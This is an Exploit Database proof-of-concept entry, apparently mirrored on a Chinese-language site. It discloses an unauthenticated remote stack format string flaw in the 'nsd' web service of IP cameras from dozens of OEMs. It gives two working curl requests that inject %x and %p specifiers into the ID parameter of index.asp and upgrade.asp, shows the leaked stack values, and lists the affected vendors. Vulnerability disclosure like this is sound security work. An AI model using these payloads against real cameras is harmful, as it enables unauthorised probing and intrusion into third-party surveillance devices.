Multiple OEM – ‘nsd’ Remote Stack Format String (PoC)

• Exploit Database
• 21 阅读

• 作者： bashis
  日期： 2017-12-14
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43998/

• [STX]
  
  Subject: Remote Stack Format String in 'nsd' binary from multiple OEM
  
  Attack vector: Remote
  Authentication: Anonymous (no credentials needed)
  Researcher: bashis <mcw noemail eu> (December 2017)
  PoC: https://github.com/mcw0/PoC
  Release date: December 14, 2017
  Full Disclosure: 0-Day
  
  
  -[ PoC ]-
  
  1)
  $ curl 'http://[IP:PORT]/main/index.asp?ID=AAAA|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x&lg=BBBB'
  
  [...]
  	 function initHideWidget(){
  	 document.getElementById("devip").value = "192.168.57.20";
  	 document.getElementById("cameraid").value = 1;
  	 document.getElementById("streamid").value = 1;
  	 document.getElementById("id").value = "AAAA|5e2ff9f8|ffffffff|5e3006db|ea60|1|2|1|1|0|20cd3e0|7263733c|20747069";
  	 document.getElementById("lg").value = "BBBB";
  	 document.getElementById("port").value = 60000;
  	 document.getElementById("ipver").value = 1;
  	 document.getElementById("tprotocol").value = 2;
  	 document.getElementById("devtype").value = 1;
  	 document.getElementById("ismotorize").value = 1;
  
  [...]
  Note: 'BBBB' are hiding within '5e3006db'
  
  2)
  curl -v "http://[IP:PORT]/Maintain/upgrade.asp?ID=|%p|%p|%p|%p|%p|%p"
  [...]
  	 function initHideWidget(){
  	 document.getElementById("ip").value = "192.168.57.20";
  	 document.getElementById("id").value = "|0x5d300484|0xffffffff|0xea60|0x1|0x2|0x1";
  	 document.getElementById("port").value = 60000;
  	 document.getElementById("ipver").value = 1;
  	 document.getElementById("tprotocol").value = 2;
  	 document.getElementById("devtype").value = 1;
  [...]
  
  
  -[ Affected OEM ]-
  
  Huatu
  I-View
  IP Camera Web Service
  Stanley Security
  3D Eyes CCTV Platform
  Protech Srl
  LS vision 
  GWSECU
  12 Legion Solution
  HDVuk IP Camera
  Intervid Security
  Suzuki Tech
  Wellsite IP Camera
  iBrido
  Protec IP Camera
  Maxtron IP Camera
  Ascendent
  GTvs IP Camera
  Squilla
  Bikal IP Camera
  MW Power
  Alfa Vision
  KMA Security
  Tough Dog Security
  Kpro HQ
  Lanetwork
  AFM Vision
  ZetaDo
  Jobsight Inc.
  Datalab IP Technologies
  4Tvision
  Proline UK
  Tanz
  Aisonic
  HD-IP
  PreSec Security Solution
  EagleVision
  Elemis Delta
  Imenara
  Gigamedia
  Xavee
  Honeywell
  Boss Security
  A.R.T Surveillance
  Global Security
  Securicorp
  Securetech
  Vapplica
  Star
  Stic
  NeXus
  Alnet
  Spy Smart
  Kompsos
  Adler Security Systems
  Nextan
  Access
  Toprotect
  Kawah
  LS StrateX
  Senpei CCTV
  Metcom
  AFM Vision
  Doron Technologies
  Saviour Smart IoT Systems
  Eagle-Eye
  Faucon.at
  BlueEagle Security
  Campro
  Opple
  Level One
  Video and Monitor System
  K&D
  
  [ETX]